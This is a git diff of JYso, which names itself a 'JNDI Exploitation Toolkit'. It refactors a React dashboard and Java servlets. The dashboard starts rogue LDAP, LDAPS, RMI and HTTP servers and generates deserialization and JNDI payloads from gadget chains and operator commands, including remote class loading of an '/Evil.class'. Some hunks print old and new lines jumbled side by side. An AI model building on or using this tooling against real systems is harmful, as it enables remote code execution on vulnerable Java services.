title="Click to toggle LDAP server"> key={s.key}
<span className="status-label">LDAP ({d.status.ldapPort})</span> label={s.label}
<span className={'status-value ' + (d.status.ldapRunning ? 'status-online' : 'status-offline')}> port={s.port}
{d.status.ldapRunning ? 'ONLINE' : 'OFFLINE'} isRunning={s.running}
</span> toggling={d.toggling === s.key}
</div> onClick={() => handleToggleServer(s.key)}
<div className={'status-item status-clickable' + (d.toggling === 'ldaps' ? ' status-toggling' : '')} />
onClick={() => handleToggleServer('ldaps')} ))}
title="Click to toggle LDAPS server"> <div className="status-item">
<span className="status-label">LDAPS ({d.status.ldapsPort})</span> <span className="status-label">IP Address</span>
<span className={'status-value ' + (d.status.ldapsRunning ? 'status-online' : 'status-offline')}> <span className="status-value" style={{ color: 'var(--accent)' }}>{d.status.ip || '0.0.0.0'}</span>
{d.status.ldapsRunning ? 'ONLINE' : 'OFFLINE'}
</span>
</div>
<div className={'status-item status-clickable' + (d.toggling === 'http' ? ' status-toggling' : '')}
onClick={() => handleToggleServer('http')}
title="Click to toggle HTTP server">
<span className="status-label">HTTP ({d.status.httpPort})</span>
<span className={'status-value ' + (d.status.httpRunning ? 'status-online' : 'status-offline')}>
{d.status.httpRunning ? 'ONLINE' : 'OFFLINE'}
</span>
</div>
<div className={'status-item status-clickable' + (d.toggling === 'rmi' ? ' status-toggling' : '')}
onClick={() => handleToggleServer('rmi')}
title="Click to toggle RMI server">
<span className="status-label">RMI ({d.status.rmiPort})</span>
<span className={'status-value ' + (d.status.rmiRunning ? 'status-online' : 'status-offline')}>
{d.status.rmiRunning ? 'ONLINE' : 'OFFLINE'}
</span>
</div>
<div className="status-item">
<span className="status-label">IP Address</span>
<span className="status-value" style={{ color: 'var(--accent)' }}>{d.status.ip || '0.0.0.0'}</span>
</div>
</div>
</div>
<div className="glass-card section-enter" style={{ flex: 1, marginBottom: 0 }}>
<div className="control-bar" style={{ justifyContent: 'space-between', alignItems: 'center' }}>
<div className={'tab-segment-control tabs-3' + (d.activeJndiTab === 'payload' ? ' config-tab' : '') + (d.activeJndiTab === 'logs' ? ' tab-3' : '')}>
<button
className={'tab-segment-btn' + (d.activeJndiTab === 'config' ? ' active' : '')}
onClick={() => d.setActiveJndiTab('config')}
>
Config
</button>
<button
className={'tab-segment-btn' + (d.activeJndiTab === 'payload' ? ' active' : '')}
onClick={() => d.setActiveJndiTab('payload')}
>
Payload
</button>
<button
className={'tab-segment-btn' + (d.activeJndiTab === 'logs' ? ' active' : '')}
onClick={() => d.setActiveJndiTab('logs')}
>
Logs
</button>
</div>
{d.activeJndiTab === 'config' && (
<button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleSaveConfig} disabled={d.loading}>
{d.loading ? 'Saving...' : 'Save Configuration'}
</button>
)}
{d.activeJndiTab === 'payload' && d.payloadSubTab === 'gadget' && (
<button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleGenerateJndiPayload}
disabled={d.loading || (!(d.jndiGadgetInput || d.selectedGadget).trim()) || !d.payloadCmd}>
{d.loading ? 'Generating...' : 'Generate'}
</button>
)}
{d.activeJndiTab === 'payload' && d.payloadSubTab === 'classloader' && (
<button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleGenerateClassLoader}
disabled={d.loading || !d.filePath.trim() || !d.routing.trim()}>
{d.loading ? 'Generating...' : 'Generate'}
</button>
)}
</div>
{d.activeJndiTab === 'config' && (
<div key="jndi-config" className="tab-content-enter">
<div className="config-form">
<div className="form-group">
<label>IP Address</label>
<input type="text" value={d.configForm.ip}
onChange={e => d.setConfigForm({ ...d.configForm, ip: e.target.value })} />
</div>
<div className="form-group">
<label>LDAP Port</label>
<input type="number" value={d.configForm.ldapPort}
onChange={e => d.setConfigForm({ ...d.configForm, ldapPort: parseInt(e.target.value) || 1389 })} />
</div>
<div className="form-group">
<label>LDAPS Port</label>
<input type="number" value={d.configForm.ldapsPort}
onChange={e => d.setConfigForm({ ...d.configForm, ldapsPort: parseInt(e.target.value) || 1669 })} />
</div>
<div className="form-group">
<label>HTTP Port</label>
<input type="number" value={d.configForm.httpPort}
onChange={e => d.setConfigForm({ ...d.configForm, httpPort: parseInt(e.target.value) || 3456 })} />
</div>
<div className="form-group">
<label>RMI Port</label>
<input type="number" value={d.configForm.rmiPort}
onChange={e => d.setConfigForm({ ...d.configForm, rmiPort: parseInt(e.target.value) || 1099 })} />
</div>
<div className="form-group">
<label>AES Key</label>
<input type="text" value={d.configForm.AESkey}
onChange={e => d.setConfigForm({ ...d.configForm, AESkey: e.target.value })} />
</div>
<div className="form-group">
<label>LDAP User</label>
<input type="text" value={d.configForm.user} placeholder="ldap bind account"
onChange={e => d.setConfigForm({ ...d.configForm, user: e.target.value })} />
</div>
<div className="form-group">
<label>LDAP Password</label>
<input type="password" value={d.configForm.PASSWD} placeholder="ldap bind password"
onChange={e => d.setConfigForm({ ...d.configForm, PASSWD: e.target.value })} />
</div>
<div className="form-group">
<label>JKS Key Password</label>
<input type="password" value={d.configForm.keyPass} placeholder="JKS key password"
onChange={e => d.setConfigForm({ ...d.configForm, keyPass: e.target.value })} />
</div>
<div className="form-group">
<label>JKS Cert File</label>
<input type="text" value={d.configForm.certFile} placeholder="/path/to/cert.jks"
onChange={e => d.setConfigForm({ ...d.configForm, certFile: e.target.value })} />
</div>
<div className="form-group" style={{ gridColumn: 'span 3' }}>
<label className="form-group" style={{ marginBottom: 0 }}>
<input type="checkbox" checked={d.configForm.TLSProxy}
onChange={e => d.setConfigForm({ ...d.configForm, TLSProxy: e.target.checked })} /> TLS Proxy (LDAPS Port Forwarding)
</label>
</div>
</div> </div>
</div> </div>
)} </div>
{d.activeJndiTab === 'payload' && ( <div className="glass-card section-enter" style={{ flex: 1, marginBottom: 0 }}>
<div key="jndi-payload" className="tab-content-enter"> <div className="control-bar" style={{ justifyContent: 'space-between', alignItems: 'center' }}>
<div className="control-bar"> <div className={'tab-segment-control tabs-3' + (d.activeJndiTab === 'payload' ? ' config-tab' : '') + (d.activeJndiTab === 'logs' ? ' tab-3' : '')}>
<div className={'tab-segment-control' + (d.payloadSubTab === 'classloader' ? ' config-tab' : '')}> <button className={'tab-segment-btn' + (d.activeJndiTab === 'config' ? ' active' : '')} onClick={() => d.setActiveJndiTab('config')}>Config</button>
<button <button className={'tab-segment-btn' + (d.activeJndiTab === 'payload' ? ' active' : '')} onClick={() => d.setActiveJndiTab('payload')}>Payload</button>
className={'tab-segment-btn' + (d.payloadSubTab === 'gadget' ? ' active' : '')} <button className={'tab-segment-btn' + (d.activeJndiTab === 'logs' ? ' active' : '')} onClick={() => d.setActiveJndiTab('logs')}>Logs</button>
onClick={() => d.setPayloadSubTab('gadget')}
>
Gadget
</button>
<button
className={'tab-segment-btn' + (d.payloadSubTab === 'classloader' ? ' active' : '')}
onClick={() => d.setPayloadSubTab('classloader')}
>
ClassLoader
</button>
</div>
</div> </div>
{d.activeJndiTab === 'config' && (
{d.payloadSubTab === 'gadget' && ( <button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleSaveConfig} disabled={d.loading}>
<div key="payload-gadget" className="tab-content-enter"> {d.loading ? 'Saving...' : 'Save Configuration'}
<div style={{ position: 'relative' }}>
<div className="form-group input-icon-wrap">
<label>Gadget</label>
<input type="text"
value={d.jndiGadgetInput}
placeholder="Type or search..."
onFocus={() => d.setGadgetOpen(true)}
onBlur={() => setTimeout(() => d.setGadgetOpen(false), 150)}
onChange={e => { d.setJndiGadgetInput(e.target.value); d.setGadgetSearch(e.target.value); }}
style={{ cursor: 'text' }}
/>
<span className="input-icon"><SearchIcon /></span>
</div>
{d.gadgetOpen && (
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
{d.filteredGadgets.map(g => (
<div key={g.name}
className={'gadget-item' + (d.selectedGadget === g.name ? ' selected' : '')}
onMouseDown={e => { e.preventDefault(); d.setSelectedGadget(g.name); d.setJndiGadgetInput(g.name); d.setGadgetSearch(g.name); d.setGadgetOpen(false); }}>
{g.name}
</div>
))}
</div>
</div>
)}
</div>
<div className="form-group input-icon-wrap">
<label>Command</label>
<textarea rows={4} value={d.payloadCmd} placeholder="e.g. whoami"
onChange={e => d.setPayloadCmd(e.target.value)} />
<span className="input-icon" style={{ top: 38 }}><CommandIcon /></span>
</div>
{d.jndiPayloadResult && (
<div className="payload-output" style={{ marginTop: 14, position: 'relative', paddingRight: 42 }}>
{d.jndiPayloadResult}
<CopyButton text={d.jndiPayloadResult} />
</div>
)}
{d.rmiPayloadResult && (
<div className="payload-output" style={{ marginTop: 8, position: 'relative', paddingRight: 42 }}>
{d.rmiPayloadResult}
<CopyButton text={d.rmiPayloadResult} />
</div>
)}
{d.ldapsPayloadResult && (
<div className="payload-output" style={{ marginTop: 8, position: 'relative', paddingRight: 42 }}>
{d.ldapsPayloadResult}
<CopyButton text={d.ldapsPayloadResult} />
</div>
)}
</div>
)}
{d.payloadSubTab === 'classloader' && (
<div key="payload-classloader" className="tab-content-enter">
<div style={{ position: 'relative' }}>
<div className="form-group input-icon-wrap">
<label>Routing</label>
<input type="text"
value={d.routing}
placeholder="Select route..."
onFocus={() => d.setRoutingOpen(true)}
onBlur={() => setTimeout(() => d.setRoutingOpen(false), 150)}
onChange={e => d.setRouting(e.target.value)}
style={{ cursor: 'text' }}
/>
<span className="input-icon"><SearchIcon /></span>
</div>
{d.routingOpen && (
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
<div className="gadget-list" style={{ maxHeight: 220, border: 'none', borderRadius: 12 }}>
{d.ROUTING_OPTIONS.map(opt => (
<div key={opt}
className={'gadget-item' + (d.routing === opt ? ' selected' : '')}
onMouseDown={e => { e.preventDefault(); d.setRouting(opt); d.setRoutingOpen(false); }}>
{opt}
</div>
))}
</div>
</div>
)}
</div>
<div className="form-group input-icon-wrap">
<label>FilePath</label>
<input type="text" value={d.filePath}
placeholder="e.g. /Evil.class"
onChange={e => d.setFilePath(e.target.value)} />
<span className="input-icon"><FileIcon /></span>
</div>
{d.classLoaderResult && (
<div className="payload-output" style={{ marginTop: 14, position: 'relative', paddingRight: 42 }}>
{d.classLoaderResult}
<CopyButton text={d.classLoaderResult} />
</div>
)}
{d.rmiClassLoaderResult && (
<div className="payload-output" style={{ marginTop: 8, position: 'relative', paddingRight: 42 }}>
{d.rmiClassLoaderResult}
<CopyButton text={d.rmiClassLoaderResult} />
</div>
)}
{d.ldapsClassLoaderResult && (
<div className="payload-output" style={{ marginTop: 8, position: 'relative', paddingRight: 42 }}>
{d.ldapsClassLoaderResult}
<CopyButton text={d.ldapsClassLoaderResult} />
</div>
)}
</div>
)}
</div>
)}
{d.activeJndiTab === 'logs' && (
<div key="jndi-logs" className="tab-content-enter">
<div className="log-header">
<span>Server Events</span>
<button className="btn btn-secondary" style={{ padding: '4px 12px', fontSize: 11, width: 'auto' }}
onClick={d.fetchLogs} disabled={d.logLoading}>
{d.logLoading ? 'Loading...' : 'Refresh'}
</button> </button>
</div> )}
<div className="log-container"> {d.activeJndiTab === 'payload' && d.payloadSubTab === 'gadget' && (
{d.logLines.length === 0 ? ( <button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleGenerateJndiPayload}
<div className="log-empty">No events yet. Start a server or wait for incoming requests.</div> disabled={d.loading || !(d.jndiGadgetInput || d.selectedGadget).trim() || !d.payloadCmd}>
) : ( {d.loading ? 'Generating...' : 'Generate'}
d.logLines.map((line, i) => ( </button>
<div key={i} className="log-line">{line}</div> )}
)) {d.activeJndiTab === 'payload' && d.payloadSubTab === 'classloader' && (
)} <button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleGenerateClassLoader}
<div ref={d.logEndRef} /> disabled={d.loading || !d.filePath.trim() || !d.routing.trim()}>
</div> {d.loading ? 'Generating...' : 'Generate'}
</button>
)}
</div> </div>
)}
{d.activeJndiTab === 'config' && (
<div key="jndi-config" className="tab-content-enter">
<ConfigForm config={d.configForm} onChange={d.setConfigForm} />
</div>
)}
{d.activeJndiTab === 'payload' && (
<div key="jndi-payload" className="tab-content-enter">
<div className="control-bar">
<div className={'tab-segment-control' + (d.payloadSubTab === 'classloader' ? ' config-tab' : '')}>
<button className={'tab-segment-btn' + (d.payloadSubTab === 'gadget' ? ' active' : '')} onClick={() => d.setPayloadSubTab('gadget')}>Gadget</button>
<button className={'tab-segment-btn' + (d.payloadSubTab === 'classloader' ? ' active' : '')} onClick={() => d.setPayloadSubTab('classloader')}>ClassLoader</button>
</div>
</div>
{d.payloadSubTab === 'gadget' && (
<div key="payload-gadget" className="tab-content-enter">
<GadgetSelector
value={d.jndiGadgetInput}
onChange={d.setJndiGadgetInput}
items={d.filteredGadgets}
searchValue={d.gadgetSearch}
onSearchChange={v => { d.setGadgetSearch(v); d.setSelectedGadget(v); }}
open={d.gadgetOpen}
onOpenChange={d.setGadgetOpen}
selectedGadget={d.selectedGadget}
/>
<div className="form-group input-icon-wrap">
<label>Command</label>
<textarea rows={4} value={d.payloadCmd} placeholder="e.g. whoami"
onChange={e => d.setPayloadCmd(e.target.value)} />
<span className="input-icon" style={{ top: 38 }}><CommandIcon /></span>
</div>
<PayloadOutput text={d.jndiPayloadResult} />
<PayloadOutput text={d.rmiPayloadResult} style={{ marginTop: 8 }} />
<PayloadOutput text={d.ldapsPayloadResult} style={{ marginTop: 8 }} />
</div>
)}
{d.payloadSubTab === 'classloader' && (
<div key="payload-classloader" className="tab-content-enter">
<GadgetSelector
value={d.routing}
onChange={d.setRouting}
items={ROUTING_ITEMS}
open={d.routingOpen}
onOpenChange={d.setRoutingOpen}
selectedGadget={d.routing}
label="Routing"
/>
<div className="form-group input-icon-wrap">
<label>FilePath</label>
<input type="text" value={d.filePath}
placeholder="e.g. /Evil.class"
onChange={e => d.setFilePath(e.target.value)} />
<span className="input-icon"><FileIcon /></span>
</div>
<PayloadOutput text={d.classLoaderResult} />
<PayloadOutput text={d.rmiClassLoaderResult} style={{ marginTop: 8 }} />
<PayloadOutput text={d.ldapsClassLoaderResult} style={{ marginTop: 8 }} />
</div>
)}
</div>
)}
{d.activeJndiTab === 'logs' && (
<div key="jndi-logs" className="tab-content-enter">
<div className="log-header">
<span>Server Events</span>
<button className="btn btn-secondary" style={{ padding: '4px 12px', fontSize: 11, width: 'auto' }}
onClick={d.fetchLogs} disabled={d.logLoading}>
{d.logLoading ? 'Loading...' : 'Refresh'}
</button>
</div>
<div className="log-container">
{d.logLines.length === 0 ? (
<div className="log-empty">No events yet. Start a server or wait for incoming requests.</div>
) : (
d.logLines.map((line, i) => (
<div key={i} className="log-line">{line}</div>
))
)}
<div ref={d.logEndRef} />
</div>
</div>
)}
</div>
</div> </div>
</div> </>
</>
)} )}
{d.mode === 'gadget' && ( {d.mode === 'gadget' && (
@@ -569,32 +424,17 @@ export default function Dashboard() {
</div> </div>
)} )}
<div style={{ position: 'relative', marginTop: d.showAdvanced ? 14 : 0 }}> <div style={{ marginTop: d.showAdvanced ? 14 : 0 }}>
<div className="form-group input-icon-wrap"> <GadgetSelector
<label>Gadget</label> value={d.gadgetModeInput}
<input type="text" onChange={d.setGadgetModeInput}
value={d.gadgetModeInput} items={d.filteredGadgets}
placeholder="Type or search..." searchValue={d.gadgetSearch}
onFocus={() => d.setGadgetOpen(true)} onSearchChange={v => { d.setGadgetSearch(v); d.setSelectedGadget(v); }}
onBlur={() => setTimeout(() => d.setGadgetOpen(false), 150)} open={d.gadgetOpen}
onChange={e => { d.setGadgetModeInput(e.target.value); d.setGadgetSearch(e.target.value); }} onOpenChange={d.setGadgetOpen}
style={{ cursor: 'text' }} selectedGadget={d.selectedGadget}
/> />
<span className="input-icon"><SearchIcon /></span>
</div>
{d.gadgetOpen && (
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
{d.filteredGadgets.map(g => (
<div key={g.name}
className={'gadget-item' + (d.selectedGadget === g.name ? ' selected' : '')}
onMouseDown={e => { e.preventDefault(); d.setSelectedGadget(g.name); d.setGadgetModeInput(g.name); d.setGadgetSearch(g.name); d.setGadgetOpen(false); }}>
{g.name}
</div>
))}
</div>
</div>
)}
</div> </div>
<div className="form-group input-icon-wrap"> <div className="form-group input-icon-wrap">
<label>Command</label> <label>Command</label>
@@ -609,12 +449,7 @@ export default function Dashboard() {
onChange={e => d.setSaveFilename(e.target.value)} /> onChange={e => d.setSaveFilename(e.target.value)} />
<span className="input-icon"><FileIcon /></span> <span className="input-icon"><FileIcon /></span>
</div> </div>
{d.payloadResult && ( <PayloadOutput text={d.payloadResult} />
<div className="payload-output" style={{ marginTop: 14, position: 'relative', paddingRight: 42 }}>
{d.payloadResult}
<CopyButton text={d.payloadResult} />
</div>
)}
</div> </div>
<div className="glass-card section-enter" style={{ flex: 2, marginBottom: 0 }}> <div className="glass-card section-enter" style={{ flex: 2, marginBottom: 0 }}>
<div className="header" style={{ padding: 0, marginBottom: 16 }}> <div className="header" style={{ padding: 0, marginBottom: 16 }}>
@@ -637,11 +472,7 @@ export default function Dashboard() {
style={{ display: 'none' }} style={{ display: 'none' }}
onChange={d.handleFileSelect} onChange={d.handleFileSelect}
/> />
{d.uploading ? ( {d.uploading ? <span>Uploading...</span> : <span>Drop file here or click to upload</span>}
<span>Uploading...</span>
) : (
<span>Drop file here or click to upload</span>
)}
</div> </div>
<div className="file-list"> <div className="file-list">
{d.files.length === 0 ? ( {d.files.length === 0 ? (
+17 -2
View File
@@ -1,6 +1,13 @@
import { useState } from 'react' import { useState } from 'react'
import { useNavigate } from 'react-router-dom' import { useNavigate } from 'react-router-dom'
import { login, setAuthToken } from '../api' import { login, setAuthToken } from '../api'
import ParticleBackground from '../components/ParticleBackground'
const SpinnerIcon = () => (
<svg className="btn-spinner" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2.5" strokeLinecap="round">
<path d="M12 2v4M12 18v4M4.93 4.93l2.83 2.83M16.24 16.24l2.83 2.83M2 12h4M18 12h4M4.93 19.07l2.83-2.83M16.24 7.76l2.83-2.83"/>
</svg>
)
export default function Login() { export default function Login() {
const navigate = useNavigate() const navigate = useNavigate()
@@ -41,7 +48,8 @@ export default function Login() {
return ( return (
<div className="login-wrapper"> <div className="login-wrapper">
<div className="glass-card" style={{ width: 400, borderRadius: 36 }}> <ParticleBackground />
<div className="login-acrylic-card">
<div className="login-inner"> <div className="login-inner">
<h1>JYso</h1> <h1>JYso</h1>
<p className="subtitle">JNDI Exploitation Toolkit</p> <p className="subtitle">JNDI Exploitation Toolkit</p>
@@ -67,7 +75,14 @@ export default function Login() {
/> />
</div> </div>
<button className="btn btn-primary" type="submit" disabled={loading}> <button className="btn btn-primary" type="submit" disabled={loading}>
{loading ? 'Logging in...' : 'Sign In'} {loading ? (
<>
<SpinnerIcon />
Signing in...
</>
) : (
'Sign In'
)}
</button> </button>
</form> </form>
</div> </div>
@@ -1,14 +1,14 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.AttrCompare;
import com.qi4l.JYso.gadgets.utils.SuClassLoader; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import javassist.*; import javassist.*;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
@@ -1,12 +1,12 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl; import com.qi4l.JYso.gadgets.utils.AttrCompare;
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl; import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare; import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.BeanComparator;
import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3; import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3;
@@ -0,0 +1,59 @@
package com.qi4l.JYso.gadgets.utils;
import org.w3c.dom.Attr;
import java.io.Serializable;
import java.util.Comparator;
@SuppressWarnings("rawtypes")
public class AttrCompare implements Comparator, Serializable {
private static final long serialVersionUID = 1L;
@Override
public int compare(Object o1, Object o2) {
if (o1 == o2) {
return 0;
}
if (o1 == null) {
return -1;
}
if (o2 == null) {
return 1;
}
if (o1 instanceof Attr && o2 instanceof Attr) {
Attr a1 = (Attr) o1;
Attr a2 = (Attr) o2;
int ns = compareNullable(a1.getNamespaceURI(), a2.getNamespaceURI());
if (ns != 0) {
return ns;
}
int localName = compareNullable(a1.getLocalName(), a2.getLocalName());
if (localName != 0) {
return localName;
}
int name = compareNullable(a1.getName(), a2.getName());
if (name != 0) {
return name;
}
return compareNullable(a1.getValue(), a2.getValue());
}
return o1.toString().compareTo(o2.toString());
}
private static int compareNullable(String s1, String s2) {
if (s1 == s2) {
return 0;
}
if (s1 == null) {
return -1;
}
if (s2 == null) {
return 1;
}
return s1.compareTo(s2);
}
}
@@ -323,7 +323,7 @@ public class Utils {
gzipOutputStream.write(bytes); gzipOutputStream.write(bytes);
gzipOutputStream.close(); gzipOutputStream.close();
String b64 = Base64.encodeBase64String(outBuf.toByteArray()); String b64 = Base64.encodeBase64String(outBuf.toByteArray()).replace("\r", "").replace("\n", "");
StringBuilder code = new StringBuilder(); StringBuilder code = new StringBuilder();
if (b64.length() > 60000) { if (b64.length() > 60000) {
String[] arrays = splitString(b64, 60000); String[] arrays = splitString(b64, 60000);
@@ -1,9 +1,7 @@
package com.qi4l.JYso.gadgets.utils.jre; package com.qi4l.JYso.gadgets.utils.jre;
import org.apache.logging.log4j.Logger;
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream; import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
import java.io.*; import java.io.*;
import java.lang.reflect.Field; import java.lang.reflect.Field;
@@ -20,12 +18,12 @@ public class Serialization {
private TCBlockData blockData; private TCBlockData blockData;
public Serialization() { public Serialization() {
try { try {
ObjectOutputStream output = new ObjectOutputStream(new ByteOutputStream()); ObjectOutputStream output = new ObjectOutputStream(new ByteArrayOutputStream());
Field f = output.getClass().getDeclaredField("handles"); Field f = output.getClass().getDeclaredField("handles");
f.setAccessible(true); f.setAccessible(true);
this.handle = f.get(output); this.handle = f.get(output);
} catch (Exception e) { } catch (Exception e) {
log.error("e: ", e); log.error("e: ", e);
} }
@@ -3,11 +3,12 @@ package com.qi4l.JYso.web;
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.JSONObject;
import com.qi4l.JYso.web.config.JYsoWebPasswordProvider; import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
@@ -16,22 +17,27 @@ import java.util.concurrent.ConcurrentHashMap;
public class AuthServlet extends HttpServlet { public class AuthServlet extends HttpServlet {
static final ConcurrentHashMap<String, String> tokens = new ConcurrentHashMap<>(); private static final Logger log = LogManager.getLogger(AuthServlet.class);
private static final long TOKEN_TTL_MS = 24 * 60 * 60 * 1000; // 24 hours
static final ConcurrentHashMap<String, TokenEntry> tokens = new ConcurrentHashMap<>();
static class TokenEntry {
final String username;
final long expireAt;
TokenEntry(String username, long expireAt) {
this.username = username;
this.expireAt = expireAt;
}
}
@Override @Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException { protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.setContentType("application/json"); resp.setContentType("application/json");
resp.setCharacterEncoding("UTF-8"); resp.setCharacterEncoding("UTF-8");
StringBuilder sb = new StringBuilder(); JSONObject body = WebUtils.readJson(req);
try (BufferedReader reader = req.getReader()) {
String line;
while ((line = reader.readLine()) != null) {
sb.append(line);
}
}
JSONObject body = JSON.parseObject(sb.toString());
String username = body.getString("username"); String username = body.getString("username");
String password = body.getString("password"); String password = body.getString("password");
@@ -44,7 +50,7 @@ public class AuthServlet extends HttpServlet {
} }
String token = UUID.randomUUID().toString(); String token = UUID.randomUUID().toString();
tokens.put(token, username); tokens.put(token, new TokenEntry(username, System.currentTimeMillis() + TOKEN_TTL_MS));
Map<String, String> result = new HashMap<>(); Map<String, String> result = new HashMap<>();
result.put("token", token); result.put("token", token);
result.put("username", username); result.put("username", username);
@@ -52,6 +58,14 @@ public class AuthServlet extends HttpServlet {
} }
static boolean validateToken(String token) { static boolean validateToken(String token) {
return token != null && tokens.containsKey(token); if (token == null) return false;
TokenEntry entry = tokens.get(token);
if (entry == null) return false;
if (System.currentTimeMillis() > entry.expireAt) {
tokens.remove(token);
log.debug("Token expired and removed");
return false;
}
return true;
} }
} }
@@ -16,7 +16,6 @@ import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part; import javax.servlet.http.Part;
import java.io.BufferedReader;
import java.io.File; import java.io.File;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
@@ -24,11 +23,16 @@ import java.nio.file.Files;
import java.nio.file.Path; import java.nio.file.Path;
import java.nio.file.Paths; import java.nio.file.Paths;
import java.nio.file.StandardCopyOption; import java.nio.file.StandardCopyOption;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.*; import java.util.*;
@MultipartConfig @MultipartConfig
public class JettyApiServlet extends HttpServlet { public class JettyApiServlet extends HttpServlet {
private static final Logger log = LogManager.getLogger(JettyApiServlet.class);
@Override @Override
protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException { protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
resp.setContentType("application/json"); resp.setContentType("application/json");
@@ -40,62 +44,85 @@ public class JettyApiServlet extends HttpServlet {
} }
try { try {
if ("/status".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) { String method = req.getMethod();
handleStatus(resp); if ("GET".equalsIgnoreCase(method)) {
} else if ("/servers/start".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) { handleGet(path, req, resp);
handleServersStart(req, resp); } else if ("POST".equalsIgnoreCase(method)) {
} else if ("/servers/stop".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) { handlePost(path, req, resp);
handleServersStop(req, resp);
} else if ("/servers/toggle".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
handleServersToggle(req, resp);
} else if ("/gadgets".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
handleGadgets(resp);
} else if ("/payload/generate".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
handlePayloadGenerate(req, resp);
} else if ("/config/update".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
handleConfigUpdate(req, resp);
} else if ("/config".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
handleStatus(resp);
} else if ("/logs".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
handleLogs(req, resp);
} else if ("/files".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
handleFileList(resp);
} else if ("/files/download".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
handleFileDownload(req, resp);
} else if ("/files/delete".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
handleFileDelete(req, resp);
} else if ("/files/upload".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
handleFileUpload(req, resp);
} else { } else {
resp.setStatus(404); sendNotFound(resp);
resp.getWriter().write("{\"error\":\"Not found\"}");
} }
} catch (IllegalArgumentException e) {
log.warn("Bad request: {}", e.getMessage());
resp.setStatus(400);
resp.getWriter().write("{\"success\":false,\"error\":\"" + WebUtils.escapeJson(e.getMessage()) + "\"}");
} catch (Exception e) { } catch (Exception e) {
log.error("Request processing failed", e);
resp.setStatus(500); resp.setStatus(500);
